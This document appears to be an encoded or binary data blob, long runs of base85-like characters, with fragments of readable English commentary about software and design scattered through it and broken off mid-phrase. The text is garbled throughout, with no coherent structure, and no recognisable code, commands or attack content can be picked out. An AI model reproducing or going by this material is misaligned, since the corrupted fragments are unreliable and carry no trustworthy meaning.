znd-H6MMB}~RV=!nlszsfPxdr2nKegdvg7oLM&8lu{FF_$u-=M9GU)}|laD`dH2AJK z%UaK|HJN8u&zFm#x38aDbvZzG4=gDCP79kpcpm@rx5*bB5iamrn@KNj2-{!U^7zVI z&UN2hLF;s0IY1AOp(7*U*1AmCS^xpO_O1}&at#aHwzazvd?KU5{iO;acJt#S zBX8b13O?j#)zknD76zeCm0g~obu~hTF)n{NCPpY7{JwPNv9yiP!Apu(FhkG(A2f`G z+sYUPUOC*5$#Z4xjt*57;E3L>)9bD_IVHoy(o(HiPdRm(*t&|_`VYS|MQ;++Ww^n? zaA8TW1CzqUlMGHqphIy^q!>+Ta8a7*30@pHv4cfLXo4%dhr=CjwPf{hUeG$9)+ym3 zbw465-ddW$#MC(9?88l#cl^4FJ{4{Hx-9=^*Y>|cb^04rrEf7c^fEBK-6(iVvZq5Z zi!+CB``^8ybw45wJ}Y?bcX^j+{%_SkaS7gDmmv!G3f^Mp`6rOYDJr_=nx50<72D(1 z#(mrtf9O5ywk0N_N8BbD@n*$>56#&T8oD;NB`q+2Z`9sLx%*r0bLV(wYIXD~q)J`c zW$@#7%IR;i=k)UG{`r6U^to2fuBfc=_V4SB*YrfP>~9_4^ZwPVwc)G7_q?6{p}J95 z)0cIl;1ZwaC~>_XKT_`9xoK&+v-;bA-#aERmf2??+j33!Qn{j$R@K>Gy<6|THp+VP z$dx;Klg)kE{?E^yo#JGyi?(d#zGT(nv~YX>_Vw%IBP(x8TsKU2Nk{i@KXbTt@g;uwX}a-dnU9W4Jg1!P^Wov)_NAq2KlYit zs9LeTFzRCOZ1edxwVRS|e#*PMYin8LzWkdvZ_3-(nV6YPOErq#t&=OuRzLqmMz*|t zm4>eE-W4k%e0|TJxX|FDw6$#EK6Mi*-#^P76drv3xi(bdipruzi$8t(9P8Gbx39h8 z-=Cjnqqq0;_OeS@mc3dMQU2&qlat=`+4HC0uX*Ztf8w&eauI7zx%bO|e|Puxg##Nr z{WSLO`C}v29U2pJ=U}sae0)5stE+YNZMXRgCmntC`DbWoXv4wyT7w_In|##D&5d5= zrChni`tx5z)QtDPif8|rxcj?p|G(ey*;Cm~J73J0@!>;98t*?PC1tD9pqPz0mQ$nt zS6>WRzR>EHmD}Cj=JAym%9muWXBV4Y`~9A+TJW}~&HLv+J9GBbxmQ;=hjZKKMSs3= zKRi78dvue%Gcz+^`{ES~F0?GoS}!H=M^OIxu3c8k`{adXV>VE-L?l22`NR!pvNmzsb6`=`neH?G^8>-W1b-~N>zxPHF=N5FE?)6*CZ zJj<=$$5CmS_hv@?v;R7UlMXFf^m6kvrURYz{bg?#Rlh!W_p!QP>FZ_x-#@H($&6E1 z(~JJu?w}B{@yqvzhuggFdvPef+!&z~8fu!UWY4f5Kx5gmWoKhmzU<8~zur7&j*MHK zZ8$>DN?YsNy8APx%wb~SVQW7Ac(0#N&DGR8nnT%v>z+)R@?^>saYcRe{0Mbr<-;jPoq~r~t7Zw@0v;O?Ld&|@qCd`@i>Gq_jLh0|8tf+YViIw5O=bv``^0pN}G_2L9J1zY3 zCebGMR7&t<|NNEg{PJJFRVvIY{B=dsc$x1?>+sVG6HltDs)nzR@9ph<`kB?X`pXQv z(p|gSc4;`4m3^z#Kfh#2ir)0aOP89ae3-!a_qTBQULIcCfA>Gi-u}hrLJDr=T}*| zbNcr1kdiOIzrUY4#p>p*8-1nH-ac93t@d`)&;OgZZdF}YaCWZo^uvkO_7wr2 z{{3Awb#>LZ7Z+PpRVJK#a%Ibw*XDUkmM=Gy=-F4BtL8t;W%=dK>Yp|H*3ZBHdBJm5 zR@S1TqP@PpcaQB@xpJl8_o_Me^5WmK?#|j8zCO0MuTzkN1spcDZNHwgFbGJ>{`~Op z@tZk0Tr+bntet&2Lp(V-`Qw|_Ve58Pd~`bW`g&Vi+v@Ojk3RooJkP{5&$jyaH{E7O zb3?k! z%FnsY!je~Yvd4$YWAlz&_FaD2^*VFmxg9%p{EnL!85vn(wKxC%KKq{X_&qr*Pp`PR zXy+0Yqo0)l6V5Zg-=2Se<%$(N@@6$hK0IXDkpF*Q%k}k)4^Cax4qq4d^6u{Mn^e7L z?-AUzd2{~VopYzm@mU)1k@p5w`Egh{YNvWuq5EhjeYgT4n+r9nZ^X<$2{P}a}&>_3Dv_+X7 z;Birt#3vJ`%(-;;#D;gmYRi|DnH%LiHaOUjkC*5&H{ zvnpQSN_~_QzW%;N?YB8AJ=gF5_Ac*M(Y3cvRvK4YtY0B1^ZUJvo10qm!3CFJ=5N}> zCucWn>fFr<|Mo};%UhHz*|cfXuR_+!N?F-l1_6$ilbV`~9`FA4ruv(WM_k;w3k#wP zKmP7GvEs#y8+&(`b+{Kr&9yFnwS>cgiJ{aqRI}LBT&s0c`ujM`O3UYh%J)V0RR8?+ zbRYBY|95uHtuXKJ?zS#@V$kfk{bjbYwz{~yeEqXGGq-Hna&vQ9=edGohaVqqztqUg z9u^kDvcID6!~FVf`FEGCTgS&xSy^da{#Iq;$-lp?PZ*^N3kjX8n4?=4Zg>r7Qd3hi zkve<+e!PMRkGvHR!xRxw?Z~OSzrE4Z(AlzeV`zA=x3BltZy!&dJQ?}v_arHQAsLw| zb0%H7eI>-*d$!k7lUz>Dqwl-Fzq_5CmuGkE>etewB!>f+wfNHS?Wtrq@cc9XpJD?$ zyL(5D9JzIB*ODzNIyyRPYH3HiL}N>K3*6j!XO(UB_p+c@CYLHx>gwt;B3>M<=gYgh zr}f8&9o6se-K{R)x@F6pHlAnU9}g=jeS34;y8N6>dmW!knO*<)?~VI^+RR(JRJGZU zy&*W=uf3&Z#@Bbbxv8N65nn!~dK7tmn&un*;lJO!3zsfQy?k@#`NzY`hrYkL{rmT$`_;3*<@HTlbNwf` z_$6Z_nKy4mMMRR4lJ#Tv&6zvbHvOASVAHPo?;eOBT<$kNEHqTosDgu`rL}$U$r|QE z>!;0aYi~_|p7OoCWXra9(o#}YPhW|uO}1Q6|KG8ht@L%;gQss(^YZQ;z7Y}YD?2Ny zun=_8mV{5+tKR_wVUx@uyEk&;FiaIP=W*_xIXb+ds3`Brle7`>(B~eIlhuSnnSPALrhJ zm#db#&Yz!leueHo?*0y|w}lJ)XTCgNoF1%^TkbryjlF*B`UmGupRfO9!oXmbACZ1x ztu#Y`#uUcBK6x*DIjgEOzYiW>=;!?D{=ToD>$w=Tr|Zk!xIgiPMd_#hSFc{h=#_t1 z(Ac}uWil6c|A#N%0s{g9LPAcQJ)8aZ(H8BQGxO{IKCRbV>^8|`i8|x?e|8lwzTK_v zUXA)(kp z-EZ!dD;HvRChcr$QexQAFJ1rm8E?M4{N{Um*REY_KmXz5WxUced?Fb(Y~Fl(XLfi% zfxySI_l5s#W;)&7QMY&1DlLYdQt9e#^$ zXX50^)jwVY*3|qtBWcXWFXf|BCi`?#@%eMY>i&5*x6J%;FFx$s#Vc2yJfHte(7d#? zH1F=dxl`s`S)IQA%a<*?zrVA(@qM;&I$x_3W5dSB$7HR(od5axdG)s!D;F(dVpu9~ z_vPZ{=r5<8UOm5X_SU6S3!=9tI@^C`zIprBztRWq)6X-x)z6zHDK5VK#dX)PY159J zZ8(rFCntB$&Q3^srM8yVx!64y7Q6SSdQZQ!!i1qf+Bog{yV&RF=HB00oWA;xOjcap zyJ^0&JM%6Yu1h{Q*Z#YX!G&YT+(cSEZ0<_VoVjSv)2C0x_2LXn3?jDWSPH7{?v>p9 z{{3GYIsZS3M)yXyuBU!4ycL$ zekD5lY~02i$wJlLJyLIiYS z<{Y!?yR)_)*~{?Y>D#AI-_D&qef8qC!QWrc^@xuM`SSc)uGcBA3y-EdW<;!re1EUI zF4pDFmMt5egnndkQv8_rLFK{9Wo^rjNb`MM^8L-l$v<-A^`>WEI-T<3!op3PHmL}4 zwg~*NF|brUdg8)_PhYQ<#_+Yz`0u_jpyiO-jjFcu&xJ2~hm^dTSuFni%$%^jwQ+52 z)iFDG7(Q}#{`~oK*DkC3|8|^R!sx$t&KeyC5mE8tou>bHd6$&%d_1q;T~}UKDEwE} zs)~of$jFFM;ajK-!;00byOrz@eOTzHx7baH|6*`&>{{r*3E ze0)FOA7+OA|F;F0TVGaMHZS*^$HLHG^H+6}sHnKSeW91D>(O)9 z+m?eg}GhOJJ1r#lVX-+vWL; z3PwhY)~w0-wI$Q#iF<+k`*rKqJ^TNp^Tml36Bl=$;Ahw+U7Bu`dS6t8!ND=n(aUSo zUBn8p3nLuJzMitq2- z+?*C}03FTL#v{qYkiThDw$J_T>wP!7)iEqsvc@FmMnT}moSYmMCP&9aMFtid?iW`# zFW30Q%uvc(`n~X-rKP22QthS3$9u(j8NM36W@cbzWn~cf@J6!v2a49$M? zZHvveuXF=7tel)<>loqVk|V8Y4h{=Ngg(3 z4U32=3;LE@8(DRoedhD8(CG2!4x8qKGfWZ}xfo?zH>b%kt%%CZ9YSK||Q&STL1tp_jS8je5 zGEA*-5fS`(F=NYpv2*#SC(4_wc)mXUyd1-Uw9Wi-c2?!re2iwwNQq6G|NrUK&-<2$ zFie>`_1BDFU@>2f13SIM}V_R7IN0yQ{o{JABPM*v?|Crc&Pn(RuKt+Zf zy^@n>&o2IT=H+Yibzfg)CgtYlre6NKdr*1B`V=Xq33cZr(ToM22-?O!|11}oph;_RymXwzM zTw(K3KEz<%wqIM@H*Q?M-Te7${kN8umY|->zgMApT3SX%IWI-mGbH@^YGcgSd~xgQ zxOq1|c+2{i*VWmzI!(Kwb#y_rd1qyK?CuiL{hreoevZz{E1z#y8{^jdt?t2RoewiN zZrs?qbLZaL{kMKuuiCrlWsRIX!>7-m85caiE@;r|lo&Ka;ppqR3io<+Yb4Li{(iZ! zp6}hAz0uCjhp!wta_`>0YTv_KAFZ-~X}EEtp`qc^r%!#a;UQ~ot%5L!X|EV zeShc#>`RtR-Fm(;G4#4c|9SnNhxgX6b+)`5|4K?r-1_s=l`=InH66MoK7QAtfa~84)WQ8xMA+o{nC9+uGVX`~AOKsaLNq zFZT}*4Ey=xqjQOmkL=6ngpy6$wyDmWRkgh2`o||t05 z6~3Lj`>2<$3D z$MyaHEhkO?Z)Re{#E^D&hLE7--&)tY3l}WwyX*eC1_vL0esFQqA*ag9O772g>*LkM z#6$(Z&-!Y{3R;lzqlG1SvVJ%3;zh}E>T12E#ZxCwRkdQ}=H_m0inp-(BD|EdMlK{I z#-?V)R3^xiAeZk)R0*i(XGCe!V)5}YYgQaZS zUzs;=85>R}%=ogZ-eg1J&ZtT2*742P_we=?zh4)mA+l`Q(pN98*e_eKb}cW13}1NC zTe<$@!fSb-6j>cRm7 zC8b57T*2m6bJwj~r?>A($An370heJ%HV_3BlNyGzl|n2!@z9$K_$(j=jaS$UkC zoSdz$uK#~m?wdPTw(!WcV`?@^e^xUsS<;opA~Y#DI5afmrIAsNn0HA4Y|+z4R`w&8 zPCScPdLqT()albl`$Ogj&Yd&KCuSpyS^MOvUyt3n6Eo{``MWza&p%I3OY18C2Rev+ z<@*mZeD0y4S1VgKf980;XV0Fu*5!Bhlx}w1FTZ%{T3&`u&(1}v4_U-!A5Ae>TDjLd zHfhmTzUtNY8y{w}|KeflRJ!G{mCvQ|Al-m5+tG=bxz zbU8Jn@FVBd;GmTucJssk{@4!M#J20l_2%~er%#@>wz==o*Y))EWoM9-oOxgD+H6i>b<>*`F)^g1rVGm+h|&9gV&mhl)0V%Bsj;g+ z|8IZTnmFe(^FM#8-0)$$>iOm-Mg?2t$KO-6`~H?Ma=e<)qV28C%KEc=x?Wd(!M%Oe z%NHz2`0(K1*R=O{c5YtS`0%hh|2@$?!m>Oy|7wn&ntJ5Gqek$GAN^TJv(vJ;7*bQ` z%XRxKE3nA%(=D!<-Oph6mGk4zKeM;zZ~d^?JO9CfMov!7#>U1)%C1LU&GYYHyL4^R zkDPTE8yJ}**PP-O*Y9wX+Zpq2=jZ1uLRKwqPL`EqO=3Ko93P*g*UNEnqslHx5t%7- z=Dc~KQR$@pdLIwl-&b2#=bT&a$;Z@q;PIa0({iJ;q*MNj&6+h!hEHAb;pO%c)zz1t zFMP73uloBtQE_qM|J<#IR$pJY@n()Y`^mbR$7Px#-Bt2TVNykh#cZQHsw6-7oyHv27Fx9r;L^z-ce@?GWSKkYxp zZ>#w^dyV9@a#8-orw`?v3fc&uzLgMyO1)!cnww#V&evHth;@#SmF-d{OsZ zPVmsY`5M1{T>$}tBEd)F?3$Oe%ZR@$&Ho9aw0}M*X)sDIM!b} zIpUQ!&yTS4)|J1`OqvwL)tVH4`QQ6zX=zolyZ2R2HZA|hRBO9;%9Rkd=D_zCJn!zD z6dcsCHMZ`b|1!USAO9TnR#ja(eSO^P_b&?WpH?^2v^3PLT=ctQYt*tFb56GAkC*RM zw)e|L?k{YfJ9n*4u$i5movH5Gjq{t=_J;g^aDJw3_49YJ(cAJ~rr-B>4K-C(RyH!a zbZ1R}-!?vmFK@F!Eg{|8+iu*t5vcKG!gT$WCQ=_o`51Vd z_V2URnhWFi*VXy|DSvzK>5B&*3j+=vI-Grb!8%>g-~7-~;Ou<(68};~ zedm)ZmmaxxFL`NdXk;Su*y`E7=YM<7_;`DJGtQS66AKH8vB|!+=9Zq8u&{7w=+)2S z=hF9`3IBSLp9d!$Nzn|wdI$$ee>eNe9hA}KR+#9)phFj z_ITZG0l~qyx1>&PZeHB9r{>J+8(+47PPF#k`LLsD&z~=um;L72?JfMgY~QuoR;R=Y zml=za)HT2Jvp4vG_GYfC^Pm5r!iH_K;kDeHX6;CI@8a&?-{0r|F5aDN-|pu%H*SC3 z-09QJldGET3)9Ze*<1YmoPGJ54cj+|hlQOwai*uUbK{l`D$9(o{jFNRPF0_omG!8c zZIxZ!o7uBxr(Zg~WKyW0gv5$<%hYboyX>$(y5L0j<@ECt7}Czp34QFjX3g5afBvkC z-JO+_qa(txY4heQAy-dTntu6k@ns2Pe8ADwi#}#vW!pNN;o|@A-|gLtiax(6`8COv z`-uC-Tl>`b{#j{i$=%ui{o35!{>)69H*MAw@w%?J>zs1i?mjuyUp`Z(PrkjqdinD0 z{r4v?-?_6Av|Px&ddlX_pF0wL?G&4jCT)z+0p0jlBxO@^?90lndo_bKrd-vYcGBeV zZaJZuR+T|vW!t8IZ@$DY|7BO1s#&F&f57bqeTFI1!!@+E|Nglg6B;`8)%PHcDRXac zm$R?bQZo8fnlx!?<@}$YpPl3H|)O6%$S_SJoV=hoWl>SADW=H$zFe}5l|o60OB z%QTPm+pC+-u3J0H_pe^pKlA1;)9m;6_lpY&9eP->)vA1+Y4NiKjm=BWtXsQwZ{gu% z*5&!_t?l7qVXIcH+|@5{f2mUCW7O;SFFclCmba;S@blinOSz}=&buIvahf6u8S{vel9m(Uf#0OQrmmA;ktF+({-~O z+w)ksS~r!PyyV_5&%U3-&&O-Z)TvuHZ73<0Uc7Lf;#0|E{nFQ$cE5XkyuY@#_GC)X z_B^)D>E~Zw-F$5)yOEL6>aaC?s{Td=1PE|?96M$kwl=Et(-qB+Cf~}w`8m(A*=w_S z(c-61Mcu6WWnMoEd(6Ib@7}$eHhro+|GTd4UyWUSc=-3}tlT-j%n~~Hewkub8ujP) zBWd$|78~w>u%M!nk~i6R%l{tZeU!P(XP(e+Ei;7=H;?nno0^y`^PBnT$(4rq@S>7} zkbr@V*BTcdk)nzy-VZtmNy z^=o$4em}SQ`T0tlbyuQ2^lNL*&6?%t=(zp;ooQ328o$1K{BG@@j9Z77cuqcb>U3ON%ZXFh ztUjMQcWs*6;$uhmR!K^&TDdMQ?V7u*tE!I9nqxtCf z)zuEoayCdD^W$nAu4BnDy#h$gAT$~m?$!)2n z#h2Zszd?Jl*68T|tZ|H~i76}l_C#L&w6=!H)x{ph`YZ0n``!0ezOW)hYwD@Bs}^0# zD1EPd*D&!zdw}bACH%J+}=%h{_<_KYpr z{pZ(dr;GjyW}Q{h3{krUqYji`=1>WkF#Y-Gp9&(^_A90zZ!QL%Y4lWds=Qs;mNLy* zLF%rSl{p`0xDKh74M=`(5J#V1c@@azity-MYs{I?}^pgoVLuIaIXTrTj-%eeP!()mH^4eEsNgpf_e zMbW!Cd>NYen<*MZ;gJD7Y#*I^#x~7DD+0{FH>Xa!nc-%hzPSV@n<)rBU>)_t4-tC}p zt`L)miTPuvW_Iqs=U9TQla=qna zGA}Pr)b0`v#g+i~@S~4e_g8Q-Fg7|${8_lnaq&gBekseUD<`h$ae$nq;_Biyed=^( zha#`6ytsXR+rqM^ulQJS4ia^?^VnFJ80Px1H#8hra82)=d1k@+`v(uZ@2!>dkeM=Z zVqi$fi(5;(=k}iMc<7v(nwouj-keEA&*!DTS-s=?`}?O)oqF}^g@x6P-Mf0yj3i8# zeg9Tj@ZrNnt5chce}`#%b2B_B+Btdo`Bf`cC`|O2er|qfVAwPdN#WmFS7((nBqZKT z|K9hOq2Se-o7v`hj0cW=&6fRrvs?Y%-uL?d)%_VCyjaLA#JqmLe)Pl{Q+OE6*Tn@* zm@Y2+{cHWE^8fc449dTqkyrnx@bSfZVd3dI@vID5r%p}Ruc%30ck55-hYN?@`(OK- zRXk`gT^-()cW$1!z5V~SmGYZyt^e1|ol)_9-}Tiyc3ir||EZ|R&8=;*d+(GC89}qz ze;-_Y{6Jh$a%TRiQ>R*-7P>Tf+WY*-Jg0N6?DO zx#7U`{Cj&Ie*Sst)Ty*(%k&nzht?}Rx~VeJAtkM;t5z?z zt+;T&P;YUjNmMVtt_atBc6R%kC$r~F3W|$cxMIbHyC+U$epqm@nQfBC5~ikO&03u%E_=kGc;(!Z^pv#J=K(9P%)G2N-{P&Hl$c@OnHN@z=9;a`Y^&WF zlNT6R7#LWX67ps0>+9xgVw1Bjt*+WsEUp*3r^dBp^O`kpN|TfXbN}otog8<4-PO$- zEM+uLD<~^pzJKxI!^Ov)78+>0I4W`dq7Y}?o*K_T#uX17G|%4*`N8CPS20KUS=N^R z)Kqc3Sj+m4lU{hdZ0CO{IPsz2MCZ9}Ya+I_{3*RKVfOUxiI=b4*|W#ZMy&mC<%bs^ zk8o~Xm%6j`d7SJ`R;GiJ{lzX1{2qL)keoSFa^}qP_tj@-TUXDyJ;QBEmx2hFHfYRK z%gD%RZ>?O9gx#C(uG}lHEUR4lT)ekeyW;!01K0nbJi__T{_M<9TO(nv zR>t#8{4!RD(l&Q0%kZgdTB>SVKHWI~|GKx))}^mhCbk|;dV6E9xrt6p$&w{YOiXla zOmzMnTzp*m`ueG>U-EkYx-R9!QEK8p-Ai+wN9WROQc~2Nf3{p2N1iXrt8X zkMfzu%Y0wn*=hXIe)?fe4J|Gno>M2!>S}7<-BS9yv%X(LTeEYyec7KQbF05II)sL% z9{G^C>((v#)2Eu^TlREy>+9&mY|eYU-<@AG>^0Y;f*nWfm#OVFIa*Z`6coI9bFqpL zf3cL$muglv)=>U`PEJmY4Q@-nmA|?EBFg;STkG#eMn=(U;*NiA3TkRTXkgep<7_wEok#9`|D<-y*C{XV-Xzi0r%s(>STKL@+^thpn-6+;``3TDv3}8_ zN59TSb8&Im`^^ckef+Mrp3xybTYGYxZKg?7Qc_UC3GamgGv>|PSb4keZ*_U+@u#7o zq1xBiczb%XHoS9dYi8pM2n?(H{qAnE{r^9IwqG>dXkGU9XYuQ2ulf)Dl=)+6^+oxZ zDMw=B!y_i*EdsA*czN5qxE^OXu%PiTV?siGyY}^bHamVfql^RPR&tkqJUD;r)TZ$B z>)BSN`OV(-_556Yr?_cTr~dqD|I_hJv7wRGtd2iEzP{V??`gc!ER{F^c4Xyc^Sry7 zb^rezT6&uMzj^$lKns~|8maZ}>=!>K|DU@;?$6Ax@769{7#9%mLrZVpk|iOLKfS-q zoHudi|8KesU$$;rm%L@8rHH6_{Em{9|4Mu(dN294nVBK-=FL);dZ&c}@$vb$m-R|X zy*e`SW$^Ml`>NmH|L@0ipf|dFjyuowi`UfNadFi6xzruIyZin9-QLe$A9Rt-58z*4`p8asIMp$KKg*&(5svDvWjSFOsz_I{Yj*$L#l) zo14X+)%Nf#jn!DYW{u66%#I@mH+FVvhpm75v0~mmJLBd4YyWYrHxy@RX=@GV|JUO5 z@IE`g;KcjCwyt&+mAAW+Ip_9_qu$f&e|-4(r?p$T%~CUb_QnG#M&@hdvlIWN7T#RF z;|K5T?VBRjv|L~R_s@JD`By5tUO$?;+U1FP-kTY$_UDC5RsTJ(t9#paw(#S}hk_H& zH^+Y|pYVrEh3nt6Ki^g_TD0iJk0#e{!ynEZTdP}LkLKS?nL2gq^r_Q9VCwYlf9V@< zFf6#fwR>M&IKzgmTlW>;U%g?)kL^oWKY8**MC6I+lc!IgcGin@%)Z;p^YrP{sNH^B zvre(frx-<=+?h7>r`sRB{$g>4hLb7l;x_su_0)VjBYEpq6vKnpuj7wC_M8)Z<@51` zYc`qzGMz3(QZ^C{EKH6C9vweo6&D%aKd5W_toqFlPO)y^g%h%8&%4^Pb02G`%dHLH z_yeD~OW0q_1+BAs@cC!I-0!YF^*w$n|7Mz8j9u2Kx+LJl5${LmV$Z+&9u^u}S@oO2 zAy@RfMg2sLx4%qRyH1o}*gx~;A=b}~4d=yU_EoKQT)Jvq`1yHztG+QbeERfh(V|89 zHqkCAS61(+V34pr7OM2*?V6Q8FTaUo2srxK_S4t(^U4qYseCk1o?*sUv%gR4?S=n$ zpFgO(e#MT$&t?n~l2T{>XRiC9U^Le+epiLyOrL2dln$lUbN!R>NlVV^5OBJ0%*y(6 z!i5d5x4*Ngc=FrELPgC?&sKT!h7BDZe=kuHn8IVVcYm{Os}mdO2%+uy_m?hN z=IVOfj+^J(r^Yu^RQ__p3p_xGuWdEB`9?dp{a6HYiS zzL>LSE#rbkn~ZF2V;{v`v{7lhVG$zR#{2h*u<(yRtEXBVRMcl|IGJ+m_D!$wsmlb# z^z z`(C}u`aj#e`st>l(PnFYW}lzW{{L2PcCxP58@s$S_VsUX?k>K4taSBs-G8OWww&Z) zV`lJBxwJ(7*zSJm;M6*uNB)P2i7k4(alKvbyug)Pq^1jZDeajv z2Xy<%qw>zSMG`zKtCV-WcqLW-e%_o(Lc+gSeL2j&)Nd}sf)zVvNN^OtNY_slxT#_x zb8cetaYlz&-`rnUH0%EP&(aV7eDV6_;IJ?)P0h0>YLrE|I=Q1n)Y{x#z8V^5zp%U; z6PtH;pSA!;-u=DXi*5>i+?{uSFFV7jQ(nz%U%r2x{D!T&yI=j^#%-I{d_0q4v~&H| zt=rEt+r>|qGDYWN;x&bpnJ-<~mpg9H6B3S)ZmbYBkm$Lx<;yEYebAV0Xh_HtkH4!Y ziWu$epBZ^zv%|uG89&v!BXnehe|PQJzG%^=W7nlVemj!1v8%i5>eZ`9-YZqzl-#;z zw>!tevVJE;|G74Sp`l;j)viBuXwifV9hSz+PoB8)r*?*m(#ex2Pn|qD?b6He{CjDe zZyFhG*||CW%gfwbhmPj89AmFvFFaXG%kHcBl<*J{QBm7UDTkU>mR4Vi1#ZhM*|B5B zkK@A5TtJJ2%73bFz+=bw$| zn~yZ__nRxSRyX^dUKU^E&70Tr@3AphN6)_X?PT_rQ(cRcV94Sjk&{$Kfr z3xam@>tFR8UupdHy`x6rog0RZ`cA7>t=dx~=QH1GriDkz@4%HI(=RU0ig~FMRjHsI zo$YV%`16$JqLs`mr(D@mDs3Kazi#Q(%FDa9-re=myK>&GDbuHaUK+u|%y8#c_^uH3 zRhr#LmHr9VMy{HEcd%+;H>Fxw)qGfA8CbUVZ=U@8*~F_ul?G8!aj-`hT{4|F@mb-LAB5 zF8$1AEiL`h|LF72oq-0rYtNa!;|x+(Rb9I8TA04`;iRNw`?^0KOM^N$ZeZ-|)7`1^ z`@_ZhN*lSke(KW{OtRNKQ=1j!w)}JlU!UB|HS3mryMOX>iFuo*zfoPG!KK8}v0_L1*0Sx}Ze?X(&(3bY7PfX<)ax~y^IRDxDk@0d zlumtbdx&G^`}Wm_n;hGwJ^%mNxv1#f$(`R_K0R5Jy>9jD;E0G4bA^PXM)6uxqk^No zTV8ISn|9J~R>+mxflV{|kG?YYc=e(}ijy<{psh`4=+)izw?5z8*6+LQ%clIN4>-lv zOGv!YtyTSNYGfdg93xsTZ&JZvNSOJ^S$UhwSz2^}k&!j0M@60|O&V zUvInL+;PJCAES@j=gsNGJ6W2mrcMoYuIfItNNJJzp(V%Hss1f4E$s96cv4ikvGAjb zRPW)33=N+p)_vyXtafmjlO4WZ<`1uWTlp1<73?s~06}0xi#fTPFGHziErWuk}HJ zVVCBtxp?8iinUjNC#+lc?8%umImVYY*M~o0SKe_e+{^3KjT0X}znw27Ey?6ikP-2B zvt)Qv=**9toz7auN=98338|@;OPH5i-njg-grTFStFPCefx*?)HCTAEqNq_$Zf>r+ z-&{5ZUEi~+-8F7sR~QBaMcuk{2{Z$K>+YgyFK$>Qac)@J`t#OR?YZgJg8zNk%2&>P zenu_q$(>KTFP}`gw_BcvVVPPm&zG;itz0fJtIt?;op=6ue?MPlhQPp8jr;B;thy*X z)hje4WX^lD_m}F+<4>r8aySonWN(;+2>3s*0SEfKKZFYu+LlwrYj)0*`= z1n<3Sby4!I+os#PV19nrM!~}6cc)x2Ihb`MkLms0_f;R?1-*Uy_MqZI1_eF8*EApRZ

g_)eQxW-#A(@XlR_U{wDom z^2sMxwWr&!ed}M{Y2mN%|6_8}bQ!MJO;u039)^0(Sn$5mBYS4G>HS=}kM>HYx_{3v zKE7-1{}X3V|9>_6f9=n+|2yPu?#ftxD}UI1I^N66tN+he^N$sc)7uqd!`){`s9(8r zX;b!h|Fin*{%7Q5{i?eDeZQ0dpY!*-<9jtTUq(eu))euouC6ZieOnP;meF?q@RX@@FW)*P zV3V7lzkbCU9xgsrv&RO;rh;#FFf!P2i>oYOc1&Hx%+xgh=C0gxIqJp6#;ZC!TvJ1D zG=F$CON!yb<*SPC%;(RVHgE1^?;|oIT&bU)oSdlt?go#Ot>Mhbn{VH~ZDad&O8;BL zjG41Ew6(8Zxx&;iZCTp?&-06ligwpZUcYA7s}&Se(jp2u_vshA7Q}_S<*Z%q0u8hnq(9LH{p3Jzh+}ta2YtqaQY?>`I^VvjEpYz_WH86x~|e% ze|f{n56$}@tNVZdI%(UqYtL`ni~1?%$(H>%zu57hVvL?Xcz7ztqPhQj({{6bCAs-l z#b)~U^DE9gEvmQvP;Gy8N5RW@h8w${IzL(_cfwd?GH~7@U~qSxBudG@4s`N z?fc8lm~cG(b`@KFe%>92GilP39?F^qtq57Qefsm>=U)%F!?<8^EFKSKpfq@tEdT&gBJ3nvf<(K8mOx9Lb9o25!0UA%f->chweRsx} z$DWQ4x8HyJ?yIWN%snrAznWbO+q=(7Wto~h`K0)`y@G~?%8R3d(ag1b*O%Ab)BUU>Ig@$+zfHf7&oBP`Ns`BH`^_#B zskeK}?y-e#7%)s)V$pl(h8IXU}$8oR@oY_K}9jDR=oj=I2ZE4(wgwkq;X1SIWs6sL7spQ)nVV**7xSR>@3pm0o?O}WtBR|2(ZYrAjMBdyVvXDD#~(Uj zy8Vya``QC9J`|j|^XE@p-L*nOLS0;3eBXkf?>_&!vfH&q!0E1l`CC>7p-z+Ina`Nc z|9teQ$#<*Eo#$t_Zr-}H>Tg<=o0tu^K)kYwy!`xbas9q>)3^<(ua_VB^4Z#aeP>tK zx5=N6t-XCD?y_z5KZb-e$9>a3BGHyIw-RF`c3F1+-c_&lW+0jC#RgQKIjmwoMe$rt?lzLsL( zoyV}X07uSTIdbB{gL{83OuA%LyxH(p;Jc@LyAIwztv~Z!iqU_IA`yloM~*zRIxpF1 z_0_kaTel@nfBnsKEF6j^ZO^RE%RS*M4AHuJJNw`3t+!9FmiWUPotrzi{=wd7)6$Y6 z4H`DMP*mA#F}bMzkye$-;C4+;u8vh0Gvg{4a_X1MqT8X7WW zWaRw#ek%0fYO`x$tHX5UmwE-cx^(dBw{2usbXw1JX>+tb-!t|}OH}6m*so^PW`4qr zL(xPk?&t&mA9}0*exCDQZ_llen3xzx$9*eTM!H5;&U<|)bzisp`!LCQa-VH&pY;bl zizcq=jP@!e{Np$ciU>jq1bZl%<3Jt#1%o4kiD0(?hEeQD-D{<5~!M*_yIg) zX4052Vi-OCAHri}KmVKN&)n=3w`tC9M#uO0Kez1Kl_qgq&Z6W=_xkd^DXbS}SXMr} z(>^~({(Y1}i-6O5+c!U7-_^DMufOls)r%J`?}<8cD7FYlc}o2G+UK_T;!B|vqs%?p zO`!QllSwYeb~CMC@iVXZ`R=o_dq3@r(Q9>*-1{j$)kd!0MQNgkM1*pSfYajyj)V8l z-Y#!;mVfi>7q_aatCFgw>enYPi)Y`9$WBk@WoUIhTF(4VRCIcf#uUwCZQeC|Qd89h zEhBZd-M`y##Qmg?TClr&^|PMLrlgxW-;U3(GfbZK_tsVIjw#o|j)}*=FPiyyOGzg` z!v@Pa7cP9*(Q;(jvuU1_Q{LpPx%+%)M^_h@S4Lju*Zt-8+Sb#xl#EilE^bn_E3uke zv2yX|&+Gp0z4E1}ug_0a)iwP2&2PcEt^TW4?09l)t@YBSsh2KYy1d-?Yr%YX7S-qa zv7Md0_xHbF{%za0{C&SKUc2?`Z0~E9=bLJun_JzQHNWP|zJkD?{qtpPYD#9lU-aiV z>(74qVvCqs+q)&*}Q+2hZMGi%t!lH0g`vWtj?_xb^bh zpe)FHQlPE2bAzU;uJeRR)8=VvX=Np*aWPm{{$%HqO*GmqRd#+ZX?b(A_&?b{zyDP~{WZ6t`q;6yecfWOva(s(Sm#^R`dJ+A zyqsQXGp~L3>V5O_oRThWmEPW2Vm7<>!G($K7dKv;Ce|%h<>~D?&$8U`LEMH12m1QX zDIfRC%2-idwd3+jp>pP?M~{Se@7=v;&z!z(VQyh&-AC1eiavk3nX_%{)YSD`_tstZ zkMu13eC+GJd7rtty7~SUPPuqZt>SB7kXL49>+aRvYkQ|oZM6(_QBl>6{gCCBX2x(M zB9iIA+1us%@w-0v`I^<8 